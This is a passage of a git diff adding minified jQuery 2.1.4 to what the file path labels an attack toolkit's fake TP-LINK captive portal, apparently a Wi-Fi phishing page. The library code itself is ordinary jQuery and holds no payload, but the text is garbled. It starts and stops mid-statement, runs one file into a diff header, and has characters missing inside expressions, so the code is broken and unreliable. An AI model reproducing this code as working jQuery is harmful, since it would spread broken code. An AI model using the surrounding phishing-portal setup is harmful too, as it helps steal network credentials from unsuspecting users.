d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("
    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..87dc897 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1 @@ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return 